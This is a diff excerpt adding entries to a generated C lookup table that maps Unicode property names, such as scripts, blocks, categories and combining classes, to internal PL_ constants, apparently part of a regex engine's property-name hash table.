+ { 642, 184, 7436, 2, 7, PL_ELBA } /* iselbasan */,
+ { 0, 7288, 7810, 7, 6, PL_GOTH } /* script=gothic */,
+ { 0, 4314, 2437, 13, 9, PL_JG__YEHBARREE } /* joininggroup=yehbarree */,
+ { 0, 6210, 3291, 5, 14, PL_INCAUCASIANALBANIAN } /* incaucasianalbanian */,
+ { 1, 1448, 2676, 4, 17, PL_SUNDANESESUP } /* insundanesesupplement */,
+ { 0, 184, 5583, 2, 13, PL_QMARK } /* isquotationmark */,
+ { 17, 7459, 7646, 3, 7, PL_TAVT } /* sc=taiviet */,
+ { 0, 7136, 808, 6, 11, PL_PHONETICEXT } /* block=phoneticext */,
+ { 5, 184, 7991, 2, 5, PL_BUHD } /* isbuhid */,
+ { 0, 6890, 5933, 4, 12, PL_INMASARAMGONDI } /* blk=masaramgondi */,
+ { 4, 6890, 959, 4, 5, PL_MUSIC } /* blk=music */,
+ { 0, 6076, 3223, 11, 3, -PL_BIDIC } /* bidicontrol=no */,
+ { 0, 8011, 17, 4, 1, PL_SO } /* gc=so */,
+ { 0, 2169, 0, 20, 0, PL_PC } /* connectorpunctuation */,
+ { 0, 3129, 7918, 17, 4, PL_THAA } /* scriptextensions=thaa */,
+ { 1, 7380, 8672, 4, 3, PL_CCC__214 } /* ccc=214 */,
+ { 149, 6890, 8116, 4, 5, PL_INTAMIL } /* blk=tamil */,
+ { 18, 4314, 6494, 13, 11, PL_JG__YEHWITHTAIL } /* joininggroup=yehwithtail */,
+ { 3, 5544, 8673, 13, 2, PL_NV__14 } /* numericvalue=14 */,
+ { 2, 6890, 7534, 4, 7, PL_NB } /* blk=noblock */,
+ { 0, 949, 7997, 2, 2, PL_CI } /* ci=y */,
+ { 0, 6647, 725, 4, 3, PL_CASED } /* iscased */,
+ { 0, 5544, 8917, 13, 2, PL_NV__49 } /* numericvalue=49 */,
+ { 2, 184, 1961, 3, 20, PL_CJKRADICALSSUP } /* iscjkradicalssupplement */,
+ { 0, 6890, 4104, 4, 15, PL_BAMUMSUP } /* blk=bamumsupplement */,
+ { 0, 7380, 7708, 7, 2, PL_CCC__21 } /* ccc=ccc21 */,
+ { 21, 892, 7997, 17, 2, PL_VS } /* variationselector=y */,
+ { 97, 8816, 5219, 3, 7, PL_NV__1000000 } /* nv=1000000 */,
+ { 138, 184, 149, 3, 34, PL_DIACRITICALSSUP } /* iscombiningdiacriticalmarkssupplement */,
+ { 207, 6890, 7858, 4, 6, PL_INKHOJKI } /* blk=khojki */,
+ { 0, 184, 571, 3, 29, PL_CJKEXTC } /* iscjkunifiedideographsextensionc */,
+ { 5, 1417, 8941, 9, 2, PL_ZS } /* category=zs */,
+ { 1, 7344, 7997, 4, 2, PL_XIDS } /* xids=y */,
+ { 1, 6890, 2044, 4, 21, PL_MEETEIMAYEKEXT } /* blk=meeteimayekextensions */,
+ { 1, 6613, 1567, 3, 22, PL_COMPATJAMO } /* ishangulcompatibilityjamo */,
+ { 14, 7380, 8632, 7, 2, PL_CCC__91 } /* ccc=ccc91 */,
+ { 194, 974, 727, 24, 2, PL_CCC__DA } /* canonicalcombiningclass=da */,
+ { 19, 7136, 3288, 6, 17, PL_INCAUCASIANALBANIAN } /* block=caucasianalbanian */,
+ { 20, 7894, 3223, 6, 3, -PL_PATSYN } /* patsyn=no */,
+ { 5, 6890, 7674, 4, 7, PL_UCASEXT } /* blk=ucasext */,
+ { 2, 184, 6926, 2, 9, PL_SIND } /* iskhudawadi */,
+ { 8, 184, 2249, 2, 20, PL_GLAGOLITICSUP } /* isglagoliticsupplement */,
+ { 19, 8096, 7513, 4, 7, PL_MAND } /* scx=mandaic */,
+ { 0, 8121, 3223, 5, 3, -PL_UIDEO } /* uideo=no */,
+ { 5, 974, 8648, 27, 3, PL_CCC__130 } /* canonicalcombiningclass=ccc130 */,
+ { 147, 974, 2769, 24, 13, PL_CCC__214 } /* canonicalcombiningclass=attachedabove */,
+ { 8, 4542, 8112, 3, 3, PL_TAKR } /* istakr */,
+ { 1, 7136, 720, 6, 30, PL_ENCLOSEDALPHANUMSUP } /* block=enclosedalphanumericsupplement */,
+ { 0, 7136, 2484, 6, 19, PL_INEGYPTIANHIEROGLYPHS } /* block=egyptianhieroglyphs */,
+ { 577, 1133, 7997, 26, 2, PL_PCM } /* prependedconcatenationmark=y */,
+ { 44, 3129, 1797, 17, 4, PL_MODI } /* scriptextensions=modi */,
+ { 1, 7288, 8424, 7, 4, PL_NBAT } /* script=nbat */,
+ { 0, 1426, 2823, 22, 18, PL_INSC__CONSONANTSUBJOINED } /* indicsyllabiccategory=consonantsubjoined */,
+ { 0, 5583, 7768, 13, 6, -PL_QMARK } /* quotationmark=false */,
+ { 0, 3521, 0, 5, 0, PL_XPOSIXSPACE } /* space */,
+ { 5, 3129, 7043, 17, 9, PL_PAUC } /* scriptextensions=paucinhau */,
+ { 0, 7459, 2895, 3, 8, PL_ETHI } /* sc=ethiopic */,
+ { 1, 7288, 8216, 7, 4, PL_ARMI } /* script=armi */,
+ { 385, 8096, 4494, 4, 15, PL_NARB } /* scx=oldnortharabian */,
+ { 0, 21, 5414, 2, 13, PL_LOWSURROGATES } /* inlowsurrogates */,
+ { 1, 5134, 6697, 3, 9, PL_PHNX } /* isphoenician */,
+ { 1, 184, 3516, 2, 10, PL_XPOSIXSPACE } /* iswhitespace */,
+ { 18, 8376, 1496, 3, 2, PL_LB__CB } /* lb=cb */,
+ { 0, 6890, 7492, 4, 7, PL_INKANNADA } /* blk=kannada */,
+ { 28, 6713, 7710, 3, 1, PL_IN__6 } /* in=6 */,
+ { 51, 6483, 7997, 11, 2, PL_XIDC } /* xidcontinue=y */,
+ { 0, 5945, 0, 12, 0, PL_MATHALPHANUM } /* mathalphanum */,
+ { 28, 7136, 1234, 6, 24, PL_ARABICPFA } /* block=arabicpresentationformsa */,
+ { 0, 184, 7120, 2, 4, PL_BALI } /* isbali */,
+ { 1, 8196, 8858, 4, 3, PL_AGE__4 } /* age=v40 */,
+ { 0, 5801, 0, 5, 0, PL_KHMR } /* khmer */,
+ { 0, 6890, 8532, 4, 4, PL_TAGS } /* blk=tags */,
+ { 0, 8340, 5476, 3, 3, PL_JG__NUN } /* jg=nun */,
+ { 0, 974, 5981, 24, 12, PL_CCC__0 } /* canonicalcombiningclass=notreordered */,
+ { 282, 117, 5363, 3, 12, PL_IPAEXT } /* inipaextensions */,
+ { 107, 184, 5825, 2, 7, PL_MAHJONG } /* ismahjong */,
+ { 79, 184, 8408, 2, 3, PL_MRO } /* ismro */,
+ { 0, 184, 5401, 2, 13, PL_ZL } /* islineseparator */,
+ { 0, 5375, 36, 12, 1, PL_JT__T } /* joiningtype=t */,
+ { 2, 6890, 690, 4, 9, PL_INCUNEIFORM } /* blk=cuneiform */,
+ { 4, 184, 5694, 3, 11, PL_CYRILLICEXTB } /* iscyrillicextb */,
+ { 196, 184, 11, 2, 3, PL_DIA } /* isdia */,
+ { 0, 5134, 469, 3, 10, PL_P } /* ispunctuation */,
+ { 309, 3129, 7520, 17, 7, PL_MARC } /* scriptextensions=marchen */,
+ { 712, 7136, 660, 6, 30, PL_CJKEXTF } /* block=cjkunifiedideographsextensionf */,
+ { 0, 6890, 6439, 4, 11, PL_INSYLOTINAGRI } /* blk=sylotinagri */,
+ { 0, 8011, 6796, 3, 10, PL_CN } /* gc=unassigned */,
+ { 146, 8096, 2598, 4, 4, PL_MERO } /* scx=mero */,
+ { 1, 184, 3458, 2, 10, PL_MANI } /* ismanichaean */,
+ { 66, 7288, 8464, 7, 4, PL_PHNX } /* script=phnx */,
+ { 0, 6329, 7946, 11, 5, PL_NV__NAN } /* numerictype=none */,
+ { 0, 7136, 7240, 6, 8, PL_JAMOEXTB } /* block=jamoextb */,
+ { 0, 3129, 2967, 17, 8, PL_GEOR } /* scriptextensions=georgian */,
+ { 0, 8031, 4647, 5, 12, PL_INZANABAZARSQUARE } /* inzanabazarsquare */,
+ { 0, 974, 8688, 27, 2, PL_CCC__26 } /* canonicalcombiningclass=ccc26 */,
+ { 11, 8091, 0, 5, 0, PL_RUNR } /* runic */,
+ { 2, 6890, 2636, 4, 9, PL_INMONGOLIAN } /* blk=mongolian */,
+ { 171, 4542, 47, 5, 1, PL_TERM } /* isterm */,
+ { 1, 7136, 5362, 6, 6, PL_IPAEXT } /* block=ipaext */,
+ { 3, 8492, 0, 4, 0, PL_RUNR } /* runr */,
+ { 33, 8011, 6098, 3, 11, PL_L_AMP_ } /* gc=casedletter */,
+ { 0, 8111, 0, 5, 0, PL_TAKR } /* takri */,
+ { 0, 1892, 7997, 5, 2, PL_CASED } /* cased=y */,
+ { 0, 7136, 6926, 6, 9, PL_INKHUDAWADI } /* block=khudawadi */,
+ { 0, 7478, 2108, 3, 6, PL_SINH } /* issinhala */,
+ { 2, 184, 3854, 2, 10, PL_SM } /* ismathsymbol */,
+ { 0, 8196, 8876, 4, 3, PL_AGE__6_DOT_1 } /* age=v61 */,
+ { 0, 1133, 3223, 26, 3, -PL_PCM } /* prependedconcatenationmark=no */,
+ { 9, 6613, 5869, 3, 3, PL_HMNG } /* ishmng */,
+ { 1, 8011, 5253, 3, 5, PL_XPOSIXDIGIT } /* gc=digit */,
+ { 4, 1503, 7437, 3, 6, PL_INELBASAN } /* inelbasan */,
+ { 6, 184, 7900, 2, 6, PL_RJNG } /* isrejang */,
+ { 0, 7459, 2967, 3, 4, PL_SC__GEOR } /* sc=geor */,
+ { 1, 8096, 8520, 4, 4, PL_SHAW } /* scx=shaw */,
+ { 0, 184, 7168, 2, 8, PL_EXT } /* isextender */,
+ { 293, 4542, 7313, 3, 3, PL_TAGB } /* istagb */,
+ { 0, 7136, 183, 6, 20, PL_MISCSYMBOLS } /* block=miscellaneoussymbols */,
+ { 0, 2693, 0, 19, 0, PL_SUPARROWSA } /* supplementalarrowsa */,
+ { 132, 6890, 42, 4, 26, PL_CJKCOMPATIDEOGRAPHS } /* blk=cjkcompatibilityideographs */,
+ { 65, 6210, 661, 3, 29, PL_CJKEXTF } /* incjkunifiedideographsextensionf */,
+ { 11, 1358, 7768, 20, 6, -PL_CE } /* compositionexclusion=false */,
+ { 2, 5250, 7768, 8, 2, -PL_XPOSIXXDIGIT } /* hexdigit=f */,
+ { 267, 8196, 8759, 4, 3, PL_AGE__7 } /* age=7.0 */,
+ { 0, 4402, 184, 3, 33, PL_MISCPICTOGRAPHS } /* inmiscellaneoussymbolsandpictographs */,
+ { 17, 6706, 8711, 10, 3, PL_IN__3_DOT_1 } /* presentin=3.1 */,
+ { 4, 8096, 7858, 4, 6, PL_KHOJ } /* scx=khojki */,
+ { 268, 4542, 4570, 3, 14, PL_LT } /* istitlecaseletter */,
+ { 3, 5968, 4510, 3, 14, PL_SARB } /* inoldsoutharabian */,
+ { 3, 5250, 3581, 8, 2, PL_XPOSIXXDIGIT } /* hexdigit=t */,
+ { 0, 58, 3223, 4, 3, -PL_IDEO } /* ideo=no */,
+ { 25, 8096, 6926, 4, 9, PL_SIND } /* scx=khudawadi */,
+ { 0, 7288, 78, 7, 6, PL_SC__ARAB } /* script=arabic */,
+ { 0, 1417, 1, 9, 1, PL_N } /* category=n */,
+ { 1, 7900, 0, 6, 0, PL_RJNG } /* rejang */,
+ { 2, 8340, 5, 3, 1, PL_JG__E } /* jg=e */,
+ { 4, 3129, 7248, 17, 8, PL_JAVA } /* scriptextensions=javanese */,
+ { 32, 184, 1, 2, 1, PL_N } /* isn */,
+ { 17, 8340, 4939, 3, 14, PL_JG__MANICHAEANFIVE } /* jg=manichaeanfive */,
+ { 24, 7136, 5596, 6, 13, PL_VERTICALFORMS } /* block=verticalforms */,
+ { 0, 7380, 3262, 4, 5, PL_CCC__B } /* ccc=below */,
+ { 48, 4569, 0, 15, 0, PL_LT } /* titlecaseletter */,
+ { 0, 7478, 2694, 3, 18, PL_SUPARROWSA } /* issupplementalarrowsa */,
+ { 0, 1834, 3223, 21, 3, -PL_CWCF } /* changeswhencasefolded=no */,
+ { 0, 6221, 1682, 4, 20, PL_INDICNUMBERFORMS } /* incommonindicnumberforms */,
+ { 0, 7288, 6696, 7, 10, PL_PHNX } /* script=phoenician */,
+ { 24, 11, 7951, 2, 5, PL_DI } /* di=true */,
+ { 0, 184, 4329, 2, 15, PL_LL } /* islowercaseletter */,
+ { 0, 8096, 8568, 4, 4, PL_VAI } /* scx=vaii */,
+ { 1, 1448, 2724, 5, 7, PL_SUPARROWSB } /* insuparrowsb */,
+ { 0, 7345, 3223, 7, 3, -PL_IDS } /* idstart=no */,
+ { 0, 6483, 7768, 4, 6, -PL_XIDC } /* xidc=false */,
+ { 29, 3129, 8208, 17, 4, PL_AHOM } /* scriptextensions=ahom */,
+ { 261, 2023, 3223, 21, 2, -PL_LOE } /* logicalorderexception=n */,
+ { 0, 1354, 3223, 24, 3, -PL_COMPEX } /* fullcompositionexclusion=no */,
+ { 0, 3516, 7951, 10, 5, PL_XPOSIXSPACE } /* whitespace=true */,
+ { 8, 6890, 2814, 4, 9, PL_HALFMARKS } /* blk=halfmarks */,
+ { 2, 5825, 0, 12, 0, PL_MAHJONG } /* mahjongtiles */,
+ { 1, 8822, 7768, 3, 6, -PL_PCM } /* pcm=false */,
+ { 3, 7459, 7043, 3, 9, PL_PAUC } /* sc=paucinhau */,
+ { 136, 1358, 7997, 20, 2, PL_CE } /* compositionexclusion=y */,
+ { 160, 1834, 7997, 21, 4, PL_CWCF } /* changeswhencasefolded=yes */,
+ { 92, 8096, 7520, 4, 7, PL_MARC } /* scx=marchen */,
+ { 7, 5544, 7942, 13, 4, PL_NV__1_SLASH_12 } /* numericvalue=1/12 */,
+ { 1, 4314, 87, 13, 2, PL_JG__HE } /* joininggroup=he */,
+ { 0, 8340, 5873, 3, 12, PL_JG__MALAYALAMNNA } /* jg=malayalamnna */,
+ { 3, 184, 1898, 3, 20, PL_CWT } /* ischangeswhentitlecased */,
+ { 32, 7380, 8171, 4, 2, PL_CCC__23 } /* ccc=23 */,
+ { 304, 2859, 7216, 18, 8, PL_DT__ISO } /* decompositiontype=isolated */,
+ { 32, 7288, 3583, 8, 3, PL_BRAI } /* script=brai */,
+ { 0, 8340, 4977, 3, 4, PL_JG__KAPH } /* jg=kaph */,
+ { 1, 21, 8056, 2, 5, PL_INNUSHU } /* innushu */,
+ { 8, 8340, 4384, 3, 5, PL_JG__SADHE } /* jg=sadhe */,
+ { 7, 4239, 3223, 4, 3, -PL_DASH } /* dash=no */,
+ { 4, 3129, 8436, 17, 4, PL_NSHU } /* scriptextensions=nshu */,
+ { 0, 1746, 1627, 21, 7, PL_GCB__CN } /* graphemeclusterbreak=control */,
+ { 0, 1503, 1002, 3, 10, PL_ENCLOSEDCJK } /* inenclosedcjk */,
+ { 85, 3129, 8356, 17, 4, PL_KNDA } /* scriptextensions=knda */,
+ { 1, 3129, 8528, 17, 4, PL_SYRC } /* scriptextensions=syrc */,
+ { 724, 6890, 448, 5, 31, PL_IDEOGRAPHICSYMBOLS } /* blk=ideographicsymbolsandpunctuation */,
+ { 1, 2674, 0, 4, 0, PL_SUND } /* sund */,
+ { 11, 84, 7997, 4, 2, PL_MATH } /* math=y */,
+ { 167, 84, 7768, 4, 6, -PL_MATH } /* math=false */,
+ { 1, 6221, 2467, 4, 17, PL_COUNTINGROD } /* incountingrodnumerals */,
+ { 16, 8204, 3223, 4, 2, -PL_POSIXXDIGIT } /* ahex=n */,
+ { 0, 3129, 2598, 17, 19, PL_MERO } /* scriptextensions=meroitichieroglyphs */,
+ { 686, 4314, 4939, 13, 14, PL_JG__MANICHAEANFIVE } /* joininggroup=manichaeanfive */,
+ { 0, 184, 2895, 2, 11, PL_ETHIOPICSUP } /* isethiopicsup */,
+ { 61, 8344, 6164, 3, 11, PL_JT__D } /* jt=dualjoining */,
+ { 0, 5362, 0, 13, 0, PL_IPAEXT } /* ipaextensions */,
+ { 10, 7288, 8552, 7, 4, PL_SC__TGLG } /* script=tglg */,
+ { 41, 4554, 112, 14, 2, PL_SB__SC } /* sentencebreak=sc */,
+ { 309, 7288, 1111, 7, 4, PL_SC__KANA } /* script=kana */,
+ { 0, 8011, 6351, 3, 11, PL_NO } /* gc=othernumber */,
+ { 8, 5051, 7996, 5, 5, PL_DT__NONE } /* nfkdqc=yes */,
+ { 418, 974, 8678, 24, 3, PL_CCC__B } /* canonicalcombiningclass=220 */,
+ { 0, 5245, 3223, 13, 2, -PL_POSIXXDIGIT } /* asciihexdigit=n */,
+ { 599, 7380, 8639, 7, 3, PL_CCC__118 } /* ccc=ccc118 */,
+ { 0, 8096, 7780, 4, 4, PL_CARI } /* scx=cari */,
+ { 0, 7604, 0, 7, 0, PL_SIDD } /* siddham */,
+ { 3, 2100, 3058, 3, 17, PL_ORNAMENTALDINGBATS } /* isornamentaldingbats */,
+ { 1, 8244, 0, 4, 0, PL_BHKS } /* bhks */,
+ { 194, 415, 0, 32, 0, PL_INIDC } /* ideographicdescriptioncharacters */,
+ { 0, 4314, 5871, 13, 5, PL_JG__GAMAL } /* joininggroup=gamal */,
+ { 14, 7288, 7569, 7, 7, PL_OSMA } /* script=osmanya */,
+ { 6, 4402, 0, 17, 0, PL_INMEROITICCURSIVE } /* inmeroiticcursive */,
+ { 4, 8816, 8655, 3, 2, PL_NV__33 } /* nv=33 */,
+ { 0, 58, 7768, 4, 6, -PL_IDEO } /* ideo=false */,
+ { 9, 6613, 1161, 3, 3, PL_HANG } /* ishang */,
+ { 1, 7288, 8500, 7, 4, PL_SARB } /* script=sarb */,
+ { 2, 3129, 7248, 17, 4, PL_JAVA } /* scriptextensions=java */,
+ { 2, 7136, 1378, 6, 24, PL_HIGHPUSURROGATES } /* block=highprivateusesurrogates */,
+ { 0, 184, 8356, 2, 4, PL_KNDA } /* isknda */,
+ { 869, 6076, 0, 11, 0, PL_BIDIC } /* bidicontrol */,
+ { 0, 1159, 3223, 25, 3, -PL_CWKCF } /* changeswhennfkccasefolded=no */,
+ { 282, 7136, 7415, 6, 7, PL_CJKEXTE } /* block=cjkexte */,
+ { 197, 1506, 0, 14, 0, PL_MUSIC } /* musicalsymbols */,
+ { 0, 7774, 1191, 6, 9, PL_CI } /* _case_ignorable */,
+ { 0, 7457, 4434, 5, 15, PL_INSC__MODIFYINGLETTER } /* insc=modifyingletter */,
+ { 661, 2108, 3709, 5, 13, PL_HALFANDFULLFORMS } /* inhalfandfullforms */,
+ { 0, 5544, 8156, 13, 4, PL_NV__11_SLASH_2 } /* numericvalue=11/2 */,
+ { 1, 3129, 7007, 17, 9, PL_ITAL } /* scriptextensions=olditalic */,
+ { 6, 7288, 4404, 7, 15, PL_MERC } /* script=meroiticcursive */,
+ { 0, 8240, 5633, 3, 12, PL_BC__AN } /* bc=arabicnumber */,
+ { 1, 7312, 0, 8, 0, PL_TAGB } /* tagbanwa */,
+ { 22, 3129, 6626, 17, 10, PL_KHAR } /* scriptextensions=kharoshthi */,
+ { 35, 11, 7768, 2, 6, -PL_DI } /* di=false */,
+ { 1, 7780, 0, 6, 0, PL_CARI } /* carian */,
+ { 0, 8822, 7768, 3, 2, -PL_PCM } /* pcm=f */,
+ { 0, 4590, 7997, 2, 4, PL_VS } /* vs=yes */,
+ { 5, 8340, 8828, 3, 3, PL_JG__REH } /* jg=reh */,
+ { 0, 3516, 7997, 10, 2, PL_XPOSIXSPACE } /* whitespace=y */,
+ { 4, 3129, 8464, 17, 4, PL_PHNX } /* scriptextensions=phnx */,
+ { 640, 4314, 7864, 13, 6, PL_JG__LAMADH } /* joininggroup=lamadh */,
+ { 5, 6221, 6598, 4, 8, PL_COMPATJAMO } /* incompatjamo */,
+ { 0, 7136, 3962, 6, 16, PL_SUPMATHOPERATORS } /* block=supmathoperators */,
+ { 454, 3129, 8216, 17, 4, PL_ARMI } /* scriptextensions=armi */,
+ { 0, 6890, 6586, 4, 10, PL_CJKSTROKES } /* blk=cjkstrokes */,
+ { 2, 6872, 0, 9, 0, PL_ARABICPFB } /* arabicpfb */,
+ { 3, 8780, 3223, 3, 2, -PL_CWT } /* cwt=n */,
+ { 1, 7136, 7852, 6, 6, PL_KANBUN } /* block=kanbun */,
+ { 4, 4614, 0, 8, 0, PL_VEDICEXT } /* vedicext */,
+ { 24, 1918, 7997, 21, 2, PL_CWU } /* changeswhenuppercased=y */,
+ { 1, 6890, 2044, 4, 11, PL_INMEETEIMAYEK } /* blk=meeteimayek */,
+ { 738, 5531, 0, 13, 0, PL_MISCTECHNICAL } /* misctechnical */,
+ { 1, 7136, 7870, 6, 6, PL_INLEPCHA } /* block=lepcha */,
+ { 3, 2859, 7541, 18, 7, PL_DT__NB } /* decompositiontype=nobreak */,
+ { 0, 7136, 1691, 6, 11, PL_NUMBERFORMS } /* block=numberforms */,
+ { 38, 8572, 8789, 3, 3, PL_WB__EBG } /* wb=ebg */,
+ { 0, 6647, 5286, 4, 11, PL_CI } /* iscaseignorable */,
+ { 0, 3526, 7997, 17, 4, PL_RI } /* regionalindicator=yes */,
+ { 2, 3129, 7569, 17, 4, PL_OSMA } /* scriptextensions=osma */,
+ { 1, 8096, 7918, 4, 6, PL_THAA } /* scx=thaana */,
+ { 0, 8096, 1797, 4, 4, PL_MODI } /* scx=modi */,
+ { 1, 7136, 1768, 6, 22, PL_MISCTECHNICAL } /* block=miscellaneoustechnical */,
+ { 12, 6890, 2712, 4, 19, PL_SUPARROWSB } /* blk=supplementalarrowsb */,
+ { 64, 8196, 8753, 4, 3, PL_AGE__6_DOT_2 } /* age=6.2 */,
+ { 8, 5968, 8062, 3, 4, PL_INOGHAM } /* inogham */,
+ { 3, 8504, 34, 3, 6, PL_SB__EX } /* sb=extend */,
+ { 0, 7380, 8648, 4, 3, PL_CCC__130 } /* ccc=130 */,
+ { 339, 218, 3521, 4, 5, PL_POSIXSPACE } /* perlspace */,
+ { 206, 8011, 1499, 3, 1, PL_Z } /* gc=z */,
+ { 256, 6890, 2636, 4, 19, PL_MONGOLIANSUP } /* blk=mongoliansupplement */,
+ { 5, 184, 8604, 2, 4, PL_ZYYY } /* iszyyy */,
+ { 3, 2107, 0, 21, 0, PL_SINHALAARCHAICNUMBERS } /* sinhalaarchaicnumbers */,
+ { 916, 7288, 7010, 7, 4, PL_ITAL } /* script=ital */,
+ { 1090, 184, 2408, 2, 4, PL_BRAH } /* isbrah */,
+ { 0, 1417, 4239, 9, 15, PL_PD } /* category=dashpunctuation */,
+ { 165, 7689, 8193, 3, 3, PL_ADLM } /* isadlm */,
+ { 12, 1929, 7951, 9, 5, PL_XPOSIXUPPER } /* uppercase=true */,
+ { 1, 3129, 1981, 17, 8, PL_CYRL } /* scriptextensions=cyrillic */,
+ { 38, 8240, 6328, 3, 2, PL_BC__BN } /* bc=bn */,
+ { 18, 7380, 8699, 4, 3, PL_CCC__DB } /* ccc=233 */,
+ { 1, 5134, 809, 3, 27, PL_PHONETICEXTSUP } /* isphoneticextensionssupplement */,
+ { 0, 42, 0, 26, 0, PL_CJKCOMPATIDEOGRAPHS } /* cjkcompatibilityideographs */,
+ { 10, 1897, 7951, 21, 5, PL_CWT } /* changeswhentitlecased=true */,
+ { 23, 7288, 6373, 7, 11, PL_HMNG } /* script=pahawhhmong */,
+ { 0, 3560, 0, 17, 0, PL_SUTTONSIGNWRITING } /* suttonsignwriting */,
+ { 1728, 2044, 0, 14, 0, PL_MEETEIMAYEKEXT } /* meeteimayekext */,
+ { 0, 6263, 3642, 10, 16, PL_LB__CP } /* linebreak=closeparenthesis */,
+ { 17, 6263, 8927, 10, 2, PL_GCB__L } /* linebreak=jl */,
+ { 266, 6263, 5762, 10, 3, PL_LB__ZWJ } /* linebreak=zwj */,
+ { 65, 8556, 0, 4, 0, PL_THAI } /* thai */,
+ { 0, 8816, 8156, 3, 4, PL_NV__11_SLASH_2 } /* nv=11/2 */,
+ { 3, 6890, 4827, 4, 6, PL_KANGXI } /* blk=kangxi */,
+ { 0, 1503, 721, 3, 15, PL_ENCLOSEDALPHANUM } /* inenclosedalphanum */,
+ { 40, 6263, 2440, 10, 2, PL_LB__BA } /* linebreak=ba */,
+ { 1, 2100, 8453, 3, 3, PL_ORYA } /* isorya */,
+ { 9, 7499, 0, 7, 0, PL_KALI } /* kayahli */,
+ { 276, 21, 7232, 2, 8, PL_JAMOEXTA } /* injamoexta */,
+ { 0, 4314, 4792, 13, 7, PL_JG__HEHGOAL } /* joininggroup=hehgoal */,
+ { 1, 6890, 1981, 4, 18, PL_CYRILLICSUP } /* blk=cyrillicsupplement */,
+ { 922, 4314, 6526, 13, 10, PL_JG__AFRICANQAF } /* joininggroup=africanqaf */,
+ { 6, 4554, 3084, 14, 3, PL_SB__SE } /* sentencebreak=sep */,
+ { 0, 6890, 568, 4, 2, PL_NB } /* blk=nb */,
+ { 0, 4554, 496, 14, 2, PL_LB__NU } /* sentencebreak=nu */,
+ { 0, 7689, 29, 4, 4, PL_ARAB } /* isarabic */,
+ { 10, 1426, 2408, 22, 19, PL_INSC__BRAHMIJOININGNUMBER } /* indicsyllabiccategory=brahmijoiningnumber */,
+ { 1, 6263, 83, 10, 2, PL_LB__CM } /* linebreak=cm */,
+ { 191, 7459, 3566, 3, 11, PL_SGNW } /* sc=signwriting */,
+ { 0, 2229, 599, 16, 2, PL_XPOSIXCNTRL } /* generalcategory=cc */,
+ { 0, 4402, 1507, 3, 13, PL_MUSIC } /* inmusicalsymbols */,
+ { 1837, 5135, 0, 14, 0, PL_ZS } /* spaceseparator */,
+ { 11, 2100, 3915, 3, 15, PL_PO } /* isotherpunctuation */,
+ { 2565, 184, 2044, 2, 11, PL_MTEI } /* ismeeteimayek */,
+ { 0, 8340, 6384, 3, 11, PL_JG__ROHINGYAYEH } /* jg=rohingyayeh */,
+ { 0, 7136, 4687, 6, 14, PL_CJKCOMPATFORMS } /* block=cjkcompatforms */,
+ { 0, 3129, 7632, 17, 7, PL_TGLG } /* scriptextensions=tagalog */,
+ { 0, 7344, 7768, 4, 2, -PL_XIDS } /* xids=f */,
+ { 0, 7288, 7520, 7, 4, PL_MARC } /* script=marc */,
+ { 0, 6890, 2841, 4, 6, PL_INCOPTIC } /* blk=coptic */,
+ { 525, 8096, 690, 4, 9, PL_XSUX } /* scx=cuneiform */,
+ { 23, 8816, 8685, 3, 2, PL_NV__24 } /* nv=24 */,
+ { 0, 2100, 8457, 3, 3, PL_OSGE } /* isosge */,
+ { 1, 4542, 4011, 3, 5, PL_TANG } /* istangut */,
+ { 1, 8340, 4925, 3, 14, PL_JG__MANICHAEANBETH } /* jg=manichaeanbeth */,
+ { 0, 184, 7858, 2, 4, PL_KHOJ } /* iskhoj */,
+ { 0, 6890, 4799, 4, 14, PL_HIGHSURROGATES } /* blk=highsurrogates */,
+ { 0, 1417, 3075, 9, 18, PL_ZP } /* category=paragraphseparator */,
+ { 0, 8340, 8810, 3, 3, PL_JG__MIM } /* jg=mim */,
+ { 0, 1679, 0, 2, 0, PL_PC } /* pc */,
+ { 0, 8786, 806, 3, 1, PL_EA__W } /* ea=w */,
+ { 7, 6926, 0, 9, 0, PL_SIND } /* khudawadi */,
+ { 0, 7344, 7997, 8, 4, PL_XIDS } /* xidstart=yes */,
+ { 0, 6713, 5219, 3, 2, PL_IN__10 } /* in=10 */,
+ { 625, 7459, 8516, 3, 4, PL_SGNW } /* sc=sgnw */,
+ { 2, 3129, 7611, 17, 7, PL_SOYO } /* scriptextensions=soyombo */,
+ { 30, 7136, 3237, 6, 17, PL_ALCHEMICAL } /* block=alchemicalsymbols */,
+ { 1077, 3129, 8111, 17, 5, PL_TAKR } /* scriptextensions=takri */,
+ { 0, 7380, 7709, 7, 2, PL_CCC__16 } /* ccc=ccc16 */,
+ { 1105, 8096, 8416, 4, 4, PL_MYMR } /* scx=mymr */,
+ { 1, 7136, 4659, 6, 14, PL_ANCIENTSYMBOLS } /* block=ancientsymbols */,
+ { 0, 5284, 7997, 13, 4, PL_CI } /* caseignorable=yes */,
+ { 1, 5192, 5363, 3, 5, PL_IPAEXT } /* isipaext */,
+ { 3, 6483, 7768, 4, 2, -PL_XIDC } /* xidc=f */,
+ { 644, 184, 5813, 2, 12, PL_NL } /* isletternumber */,
+ { 0, 5657, 0, 5, 0, PL_BIDIM } /* bidim */,
+ { 2, 974, 8651, 24, 3, PL_CCC__132 } /* canonicalcombiningclass=132 */,
+ { 0, 8340, 4384, 3, 3, PL_JG__SAD } /* jg=sad */,
+ { 0, 513, 7951, 16, 5, PL_UIDEO } /* unifiedideograph=true */,
+ { 1, 2859, 3543, 18, 5, PL_DT__SML } /* decompositiontype=small */,
+ { 4, 184, 84, 2, 4, PL_MATH } /* ismath */,
+ { 0, 5557, 7768, 13, 6, -PL_PATSYN } /* patternsyntax=false */,
+ { 2240, 3067, 0, 8, 0, PL_DINGBATS } /* dingbats */,
+ { 17, 7840, 67, 3, 4, PL_VSSUP } /* isvssup */,
+ { 69, 5051, 3223, 14, 3, PL_NFKDQC__N } /* nfkdquickcheck=no */,
+ { 9, 7485, 3521, 7, 5, PL_XPOSIXSPACE } /* isxperlspace */,
+ { 3, 7459, 2895, 3, 4, PL_ETHI } /* sc=ethi */,
+ { 3, 4542, 238, 3, 3, PL_TALE } /* istale */,
+ { 0, 570, 0, 30, 0, PL_CJKEXTC } /* cjkunifiedideographsextensionc */,
+ { 4, 6713, 8726, 3, 3, PL_IN__4_DOT_1 } /* in=4.1 */,
+ { 914, 7288, 2967, 7, 8, PL_SC__GEOR } /* script=georgian */,
+ { 2121, 6706, 8864, 10, 3, PL_IN__5 } /* presentin=v50 */,
+ { 666, 6908, 0, 9, 0, PL_EMOTICONS } /* emoticons */,
+ { 928, 7288, 8284, 7, 4, PL_DSRT } /* script=dsrt */,
